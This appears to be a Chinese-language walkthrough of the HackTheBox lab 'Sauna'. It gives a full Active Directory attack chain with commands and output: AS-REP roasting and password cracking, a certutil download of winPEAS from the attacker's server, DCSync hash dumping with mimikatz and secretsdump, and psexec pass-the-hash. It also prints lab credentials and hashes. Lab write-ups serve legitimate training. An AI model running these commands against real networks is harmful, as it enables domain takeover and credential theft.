hackthebox-sauna （域渗透/bloodhound使用/mimikatz使用/secretsdump.py、psexec使用）

1、扫描

先masscan全局快速扫，再namp精细扫

masscan -p1-65535,U:1-65535 10.10.10.175 --rate=1000 -e tun0
nmap -A 10.10.10.175 -p389,5985,445,53,139,49667,636,135,88,49673,49674,80,464,52613,593,49676

可见开了很多端口，而88 389 这都是域端口，389后面也详细写了域名字，跟htb里这个域渗透的靶机froest很像了。准备好impacket包，neo4j bloodhound这些域渗透工具。在froest文章里也给了下载链接安装等

具体的域知识这台靶机就不科普啦，在froest文章里写了一些，是有些烧脑，不太理解的话就先记得用这些域工具。

C:\root> masscan -p1-65535,U:1-65535 10.10.10.175 --rate=1000 -e tun0Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2021-01-05 10:46:05 GMT-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 389/tcp on 10.10.10.175
Discovered open port 5985/tcp on 10.10.10.175
Discovered open port 445/tcp on 10.10.10.175
Discovered open port 53/tcp on 10.10.10.175
Discovered open port 53/udp on 10.10.10.175
Discovered open port 139/tcp on 10.10.10.175
Discovered open port 49667/tcp on 10.10.10.175
Discovered open port 636/tcp on 10.10.10.175
Discovered open port 135/tcp on 10.10.10.175
Discovered open port 88/tcp on 10.10.10.175
Discovered open port 49673/tcp on 10.10.10.175
Discovered open port 49674/tcp on 10.10.10.175
Discovered open port 80/tcp on 10.10.10.175
Discovered open port 464/tcp on 10.10.10.175
Discovered open port 52613/tcp on 10.10.10.175
Discovered open port 593/tcp on 10.10.10.175
Discovered open port 49676/tcp on 10.10.10.175
C:\root> nmap -A 10.10.10.175 -p389,5985,445,53,139,49667,636,135,88,49673,49674,80,464,52613,593,49676
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-05 18:49 CST
Nmap scan report for 10.10.10.175 (10.10.10.175)
Host is up (0.42s latency).PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
80/tcp    open  tcpwrapped
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp    open  tcpwrapped
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
52613/tcp open  msrpc         Microsoft Windows RPC

2、域渗透 & 提权至fsmith

因为这么多端口，所以从smb或http里都打开看看
网页里看到这么员工名，会不会是域的各种用户呢？？？

做个user表，既有全程，也有他们名字的缩写。。

fsmith
fergus-smith
scoins
shaun-coins
hbear
hugo-bear
btaylor
btaylor
sdriver
skerb
Bowie-Taylor
Sophie-Driver
Steven-Kerb

同样，用impacket包里的域扫描文件，扫这个用户，

C:\root\impacket-master\examples> python3 GetNPUsers.py EGOTISTICALBANK/ -usersfile /root/htb/sauna/user.lst -format john -dc-ip 10.10.10.175
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation$krb5asrep$fsmith@EGOTISTICALBANK:bda0acddab5720b68b5652f77eddaa9d$577987efca79821e73993a5b82318dda741c413a2500790d2b6edac8c929693fb5019aeaac222174b3ef30caf3dc5f9b04def71c679ac408c971b961f15558e9408ffbbe7bc1d767abf27b7dcdf6fee7f6f083228d59ce83db7dddce157a509a06a4828e0e20e2b695bb347f8ca8284d6936634135c7c1eec41f7e605b295760b541d46463225c6b5f58492f59cd5b60c89b6f98402ebaa8fa0569832650a9687ad45826f6454ff724b16d32117fb12f707e1a628bb952aae463d5340d898668e831f73db74390881661d0ce4f366fef8bbc1a6b567775d9fb5886991627836f7c83f3d6c938ad69718ff37f3803a3a40e07f0e87efe14151e
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
C:\root\impacket-master\examples>

很快就扫到了第一个用户就是。继续拿john解得Thestrokes23

C:\root\exp\JohnTheRipper-bleeding-jumbo\run> ./john --wordlist=/usr/share/wordlists/rockyou.txt sauna
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23     ($krb5asrep$fsmith@EGOTISTICALBANK)
1g 0:00:00:06 DONE (2021-01-05 19:44) 0.1490g/s 1570Kp/s 1570Kc/s 1570KC/s Thing..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

5985 winrm 远程登录端口开了利用kali自带的evil-winrm fsmith:Thestrokes23登录

evil-winrm -u fsmith -p Thestrokes23 -i 10.10.10.175

打开本机的Python http 传我的自动扫描工具上来 winpeas

certutil -urlcache -split -f http://10.10.14.35/winPEAS.exe 666.exe

再执行

./666.exe

查到新的用户账号密码。但是从user看账号是 svc_loanmgr

继续登录

evil-winrm -u svc_loanmgr -p Moneymakestheworldgoround!  -i 10.10.10.175

3 、提权

这里如果靶机简单的话，直接上 mimikatz.exe去抓域相关的hash了或者 secretsdump.py 提取hash

不过也可以用bloodhound 来深刻分析原理，加深理解。跟froest靶机一样，先安装好 neo4j 和bloodhound
启动neo4j

C:\root\exp\neo4j-community-4.0.3\bin> ./neo4j console start
Directories in use:home:         /root/exp/neo4j-community-4.0.3config:       /root/exp/neo4j-community-4.0.3/conflogs:         /root/exp/neo4j-community-4.0.3/logsplugins:      /root/exp/neo4j-community-4.0.3/pluginsimport:       /root/exp/neo4j-community-4.0.3/importdata:         /root/exp/neo4j-community-4.0.3/datacertificates: /root/exp/neo4j-community-4.0.3/certificatesrun:          /root/exp/neo4j-community-4.0.3/run
Starting Neo4j.
WARNING: Max 1024 open files allowed, minimum of 40000 recommended. See the Neo4j manual.
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
2021-01-05 23:53:02.409+0000 INFO  ======== Neo4j 4.0.3 ========
2021-01-05 23:53:02.414+0000 INFO  Starting...
2021-01-05 23:53:05.808+0000 INFO  Bolt enabled on localhost:7687.
2021-01-05 23:53:05.808+0000 INFO  Started.
2021-01-05 23:53:06.835+0000 INFO  Remote interface available at http://localhost:7474/

启动bloodhound


C:\root\exp\BloodHound-linux-x64> ./BloodHound --no-sandbox(BloodHound:7839): Gtk-WARNING **: 07:54:23.470: Theme parsing error: gtk.css:2794:15: Not using units is deprecated. Assuming 'px'.
(node:7866) [DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods instead.
(node:7866) [DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods instead.

再在winrm svc_loanmgr的shell里上传分析文件，再读取，依次输入

upload SharpHound.ps1
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

最后download下来，拖到bloodhound里，在queries里点点找找，
第三个 Find Principals with DCSync Rights时，发现我们的用户（右边最底下那个，一截图名字就消失了。。）和domain 有这太直接的联系 getchangesall（上面那条弧线，截图不清晰…）。

help里也说明可以直接dcsync攻击。
这里就不科普这个dcsync了，网上有很多知识。不太理解的，可以缓缓慢慢理解，先只用记得到了这里涉及dcsync的，直接用impacket包里的那几个工具，抓hash，登录拿shell

用mimikatz 。kali自带或者去github下，传到靶机。

.\mimikatz 'lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:administrator'

用impacket包里的psexec登录拿到最高权限

psexec.py administrator@10.10.10.175 -hashes d9485863c1e9e05851aa40cbb4ab9dff:d9485863c1e9e05851aa40cbb4ab9dff

或者不用mimikatz，用impacket里的secretdump提取hash

python secretsdump.py svc_loanmgr@10.10.10.175

再一样用psexec登录

psexec.py administrator@10.10.10.175 -hashes aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff